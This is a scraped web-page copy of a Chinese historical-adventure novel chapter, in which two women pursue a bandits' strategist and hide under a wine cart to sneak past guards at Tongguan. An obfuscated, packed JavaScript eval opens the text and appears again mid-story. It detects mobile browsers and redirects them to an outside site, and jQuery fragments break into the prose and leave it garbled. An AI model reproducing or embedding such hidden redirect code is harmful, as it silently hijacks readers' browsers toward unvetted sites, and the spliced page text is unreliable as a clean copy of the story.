;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593987|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿柔道:“那不是银,是锡。太祖母早年间曾拜过墨家巨子为师,研习过墨家机关术,后来便自创了巫门弩机。那弩机劲儿很大,一般的箭杆承受不住,当年沅水附近发现了锡矿。因此箭杆镀锡,上螺纹加强。但巫蛊后,我家的弩机、锡箭都被偷走了,我那夜打你的弩机锡箭,还是从他们手里夺回来的。他们手里一共有两部弩机,眼下还有一部下落不明,当是被那逃走的家伙带走了。” 说着,阿柔将竹篓搁在身前,用脚夹住篓底,双手拽着篓边一拧,卡扣松脱,篓底竟然脱落,内里出现了一只精巧弩机,并五杆锡箭,皆用草绳穿底固定。 “你且藏好,切莫轻易拿出来,这若是被官府抓到,便是死罪。”卫绛道。 “我省得,不会轻易用的。你看我这藏的,当时在船上就根本来不及拿出来用。那夜若不是手中没有远程武器,我也不会用弩机对付你。你这人太难近身了,我没把握能对付你。”阿柔嘟囔着,将篓底又重新拧了回去。 卫绛笑了:“你打我那两箭可一点没客气,我若是躲避不及,怕是这会儿也不会在这儿了。” 阿柔闻言有些不好意思,道:“我那会子只是想阻止你,没想着下手轻重的问题,但我确实没瞄你要害呀。你不也一样,你挥刀砍我时也没想着要刀下留情呢,那叫一个刀刀致命。” 二人相视一笑,过去的一切便不再计较。 “我可再提醒你一遍,关于我的事,你可千万别对外说,天知地知你知我知。”阿柔再次叮嘱道。 “放心,我此前提过我要为我阿母完成两大愿,其中一大愿便是查清巫蛊幕后推手,你我目标一致,当通力协作,我怎会出卖你。”卫绛道。 “你也是巫蛊受害者?” “巫蛊受害者千千万,我是也不稀奇罢。”卫绛道。 阿柔若有所思地点头。她想起方才那几个水匪谈论,说那军师提及卓孺狼身份不一般,必须活捉。卓孺狼确然是被盯上了,而且身份已然暴露给了军师。这小狼崽儿到底是甚么身份,竟不肯对自己明说? 罢了罢了,反正自己说了这么多,也没真的说出自己姓甚名谁,母亲又在何处,她就算想出卖也出卖不了,这就算扯平了。 “那军师到底是个甚么来路,你当真一点不知?”卫绛问。 阿柔道:“我在太乙山探查时,军师和刘豫不在一处。刘豫在太乙宫中,带着一批人搜寻甚么物什。军师在外围暗中放哨,是他伏击了你的同伴,夺走了你的马匹。我当时潜入了太乙宫,只听闻他们议论要抓住涂山翁,涂山翁手里捏着一个关键物什,具体是甚么他们没明说。但涂山翁早就逃了,他们没抓住,搜了半天也没搜出那关键的物什。 “不过,我听他们提到了霍光,他们似乎在谋划一个反霍光的阴谋。后来他们兵分两路,刘豫和那军师,还有一个扈从,携着你的同伴和马匹去了卤泊。另外一批人走水路向东去了,不知去向。那批人约莫十来号人,行举间瞧着像是行伍之人。” “霍光?”卫绛越发迷惑了,这群来路不明之人居然盯上了大司马大将军霍光?不论他们想做什么,都可谓是蚍蜉撼树,不自量力。 她不禁问:“接下来咱们到了潼关渡,该当如何?” “切莫打草惊蛇,你外形出众,容易引人瞩目,最好乔装藏在暗处,我来探听军师消息,我在明你在暗,咱俩打配合,找出那军师。”阿柔道。 “好。” 19.第十九章 夜深,二人围着篝火轮流守夜休息。阿柔负责前半夜,卫绛负责后半夜。 趁着守夜的工夫,卫绛将她泡水的弓保养了一下,她落水时,箭箙中仅有的五支箭掉出来三支,顺水被冲走了,当下只剩下两支了。两支箭实在是捉襟见肘,弓箭她怕是用不上了,接下来她多半要全程用刀。 阿柔醒来时天刚明,卫绛已然从这林子里寻了些野山菇、野菜,还抓了一只野雉,宰杀干净。二人也没有炊具,只得将野山菇、野菜塞进野雉肚子里,穿在火上烤熟了分食。 吃完了这顿,二人熄灭篝火,整顿出发。 往潼关渡路程不算太远,行了几里就能见到沿河的村庄。二人去村头井中打满了随身水囊,又问农户买了一身旧衣裳,裁作了蒙面的围巾。卫绛和阿柔皆学汉男子总发至脑后束辫髻,以平巾帻裹住,戴了斗笠。又用围巾裹住脖颈,一直裹住下颌,挡去大半张脸。剩下的布条用来裹了卫绛的弓刀,使武器看上去不那么显眼。 做完乔装,她们并不多做逗留,继续行路。 徒步走了半个时辰,前方出现一处塬丘,塬丘下坡口恰好遇着一个驾马车赶路的老丈,车上拉了两筐山桃、两筐胡桃、一筐苜蓿。 阿柔上前搭话,得知对方正要去风陵渡卖山货,便给了对方三文钱,搭了便车。 “老丈,我吃您一个山桃解渴,钱我放车板上了。”卫绛见有山桃,实在馋得不行,掏出一文钱来道。 “小娘子尽管吃,不要钱。”老丈道。 这老丈说话声音明显透着股畏惧,他必然是看出卫绛与阿柔的不寻常,但又不敢点明,只好揣着明白装糊涂,客客气气不敢多言语。 阿柔瞧出他心绪紧张,于是笑盈盈与他搭话: “老丈,您这些山货能卖多少钱?” 老丈道:“就是卖给渡口的行路人和船工,都是穷苦人,卖不了几个钱,就换点布匹食盐,补贴家用。” “我见您有马,又种了苜蓿,可是养马户?”阿柔问。 “小娘子眼亮,官府有令:民养马一匹,复卒三人。老朽在那塬上有几亩薄田果林,好歹能供得起马。”老丈似是被阿柔勾起了话头,话渐渐多起来。 “近些年战事不多,赋、徭都少了,日子好过了不少。”阿柔道。 “是,多亏了霍大将军与民休息,前些年那真是喘不过气来……诶,老朽胡说八道,二位莫要在意。”老丈抱怨到一半,忽而收住了话头,不敢多说了。 阿柔笑了笑,道:“老丈,您时常在那渡口买卖,可熟悉那里的人?” “有几个面熟的,二位小娘子打听人?” “我二人是表姐妹,自河东去那潼关投奔表叔。我们只知道表叔在潼关当漕吏,姓王。表叔离散多年,听闻他改了名,我们都不知名字了。” “这……老朽实不识得。”老丈再度紧张起来,语带躲闪。 “那老丈可识得潼关渡的河丞?您帮我们引荐引荐,我们直接问河丞更快。”阿柔道。 老丈闻言脸色白了白,连连摇手道:“使不得使不得,二位小娘子可千万莫要去寻那河丞。” “这是为何?”阿柔明知故问。 “那河丞做事儿可不清白,手黑得很,听闻下游时有水匪作乱,劫财劫色,官府都管不了,都与那河丞有关系。二位小娘子犯在他手里,哪儿能轻易走脱?” “这么说……我们表叔竟是入了贼窝?”阿柔语气“惊惧”,顺带掐了一把身旁卫绛的胳膊。彼时卫绛刚吃完桃子,正捏着桃核仔细观察。 卫绛唬了一跳,随即反应极快地跟着附和道:“我二人已无处可去,还请老丈为我二人指条明路。” “漕官漕吏都在南岸的潼关城里,老朽常年只在北岸的风陵渡卖点山货,不敢过河往南。因此只识得几个渡船船工,与漕吏哪里说得上话。你们要找漕吏,我断帮不上忙。 “不过,老朽倒是知晓一个人,兴许可以帮你们。你们到风陵渡过河,进潼关城,寻一个号‘玄武癸’的女方士,此女年不过双十,却有通天晓地之能,方圆几十里的人都听过她的名号。她甚么都知晓,只要你们能满足她提出的条件,她就能回答你们的问题。” 卫绛与阿柔相视一眼,便齐声感谢老丈指引。 老丈驾车,将她们于风陵渡口放下,他帮二人寻了一位信得过的渡船艄公,载着卫绛与阿柔再过大河,往关城行去。卫绛、阿柔感激他的帮助,高价买了他好些山桃和胡桃,都装进了阿柔的背篓里,随后又给了艄公当渡船钱。 自北向南流的大河自潼关向东拐了个大弯,壮阔的河面之上,舳舻千里,百舸争流,好不热闹。与北面的蒲坂津情状大相径庭。遥望南岸,可见一座初具规模的城关,城门箭楼雄踞南岸,北望来犯。 卫绛乘船都有了畏惧心,好在这回艄公摇船又快又稳,很快就将她们送到了南岸。河风拂面,水腥气刺激着卫绛的鼻端,约莫一刻钟后,她逐渐克服了畏水的情绪,习惯了这船的摇来晃去。 待船停稳,二人下得船来,阿柔一时踟蹰不前。只因道路尽头的关城城门口,出现了卫戍兵卒,正盘查入关城的过所符传。 “你没有符传?”卫绛问阿柔。 “没有。”阿柔摇头。 “那你平日里都住在哪儿?是怎么进城的?”卫绛问。 阿柔拉了拉她大臂衣袖,示意她附耳过来。卫绛弯腰凑过去,阿柔仰首,掌拢在唇边,于她耳畔悄声道: “我不进城,都在郊野。若非要入城,便使出傩步,趁兵卒不备偷溜进去。” 卫绛不信,只当是她不愿说出实情。不过她也不点破,道: “我倒是有杜县开具的公干符传,可以进城。但我怕那些卫卒与河丞是一伙的,看到我的符传,便知晓我入城了,那就打草惊蛇了。” “必然是一伙的,咱们得另寻他法入城。否则就只有试着爬城墙了,风险太大。” 这潼关城的城墙起码五丈高,夯土面打磨得光滑,并不好爬。墙头有戍卒驻守,三步一岗五步一哨,彼此相望,若想翻越城墙进去不被发现,只有夜间行动,且得寻得良机才行。 卫绛盘算翻墙可能性时,阿柔已然往潼关渡口人流密集的卸货区行去。她东张西望,似是在寻找甚么。卫绛连忙跟上她,很快猜出她心思。 看来阿柔并不想夜闯城墙,她打算混入城内。 不过周遭下货的全是粮食和布匹,大多装在辘轳车上,由劳工苦力推入城中,无法藏人。一时之间还真找不到合适的入城之法。 卫绛五感更为敏锐,忽而嗅到一股酒味,她循着味源望去,就发现更远处的渡口偏僻处,有几个漕工正从一艘漕船上卸下数个大缸,并将这些大缸搬到几驾板车之上。那板车相当宽大,且极少见地套了三匹马。 那些大缸之中,一部分装有内容物,用泥封了缸口,有些则是空缸。她老远就嗅到了一股浓郁的酒气,猜想多半是贩酒的酒商。酒在今上取消榷酤之前还是官营的,如今一放开,民间确然多了不少私酿酒坊,但因酒税要收到七成,重税之下没有财力背景根本没本钱做这买卖,酒商仍然大多有官府背景。 她拍了阿柔一下,指了指那些酒缸,阿柔眼前一亮,立刻道:“咱们躲进去,你跟我来。” “且慢。”卫绛拉着她躲在一处堆高的木箱后,一面戒备着周遭的人,一面道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599598|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那空缸是用来做甚么的?” “莫不是……这帮运酒的还贩缸?”阿柔道。 看来阿柔也不清楚缘由,卫绛道:“不急着去,先观察一下。” 这伙商贩从船上卸下二十多口大酒缸,分四架马拉板车拖运,每驾车都有三匹马出力,否则拉不动。他们将封泥酒缸摆在外围,空缸则放置在中央,从外围不易接触到内圈的缸。然后用抹了泥的竹篦子盖在缸口,假装其内封装了酒。 “这帮人……莫不是贪墨了一部分酒?以空缸滥竽充数?”阿柔眯着眼道。 “你瞧那缸口,有些狭窄,你躲进去似乎问题不大,我恐怕进不去。”卫绛在阿柔脑后轻声道。 “我也进不去呀,车板上一直有人看着,我不可能躲开他的视线。就算进去了,我非得憋死在里面。”阿柔恼道。 “他们就要进城了,咱们上不上?”卫绛见他们已然驾车准备入城,略显焦急地问阿柔。 阿柔一咬牙:“搏一把!咱们躲到车底,扒住车轴。” 二人当即弓着腰向那四驾车快速趋步靠近。卫绛很会选埋伏地,专门找了个堆放圆木的障碍物躲藏,这地方是那四驾马车的必经之地,又是车上人的视线盲区。 一车躲一人,卫绛让阿柔先上,自己跟第二辆车。阿柔将竹篓挂在身前,篓口蒙紧,以防内里的东西滚出来。卫绛也归置了一下身上的刀弓和包袱,以便等会儿悬挂。 第一驾车已然近在眼前,卫绛瞅准时机一推阿柔,阿柔立刻借势贴地滚进了车底,扒住车轴悬起身子起来。此事想来容易,可做起来却竟然非常难。 她双手扒住车轴,起腰抬起双腿,双腿却无处可搁置,起初阿柔只能到处乱蹬,好不容易卡住了车轸边框,着力点却无依凭,很快双脚就砸在了地面上,她不得不再次举腹悬腿,往复几次,恐怕就要坚持不住了。 那板车是大车,车轮粗壮高大,是以车底空间躲进一人还有富余,于是卫绛当机立断放弃了潜入第二辆车车底,寻机转移,去追阿柔的第一辆车。她以码头诸多货物为障壁,身影急速穿行闪烁其间,终于找准时机,跟着一起滚进了第一辆车车底,抬手抓住车轴,以己身为底,将艰难挣扎的阿柔一整个承托了起来。 她手长脚长,双脚外扩,牢牢蹬住车轸后沿,只听嘎吱一声,车子狠狠往下坠了坠,她的体重突然加在车身上,马匹也吃劲儿,四蹄踉跄了几下,纷纷摇头晃脑打起呼噜。 “怎么拉车的?硌着石块了!别把囊袋颠破了。”车板之上的人抱怨驾车的车夫。 车夫道:“这青石板路就是不平整,俺也无法。” “狼崽儿!你……”阿柔急得想扭头看卫绛,可转不过身,她只能拼命用力往车底板上贴,给卫绛减轻承托的压力。 “我坚持得住,莫说话,保存体力。”卫绛耳语。 她此时倒不觉有多吃力,只是她的后背与地面几无距离,遇着个凸起的石块就得擦着后背,只能强忍疼痛。 大车沉重,行路缓慢,入城还得排队,阿柔很快就无法坚持,几乎是躺在了卫绛的怀里,全靠卫绛托着她悬在车底。她心里焦急,卫绛的手臂一直在打颤,她再强也是有体力极限的。 阿柔想着只要能往车辕上穿一根绳,兜住卫绛后背,当能为她减轻相当大的压力。她腰间就缠着长绳,很是结实。不过问题是,车辕与车板之间的缝隙不足够穿过长绳,她得适当扩大一下。 于是从袖中抖出匕首,往那车板处挖凿。令她想不到的是车板竟然意想不到的薄,几刀就扎穿了,而且她还顺带扎穿了一个皮囊模样的东西,有液体顺着口子就流了出来,洒了她一脸。 竟然是酒!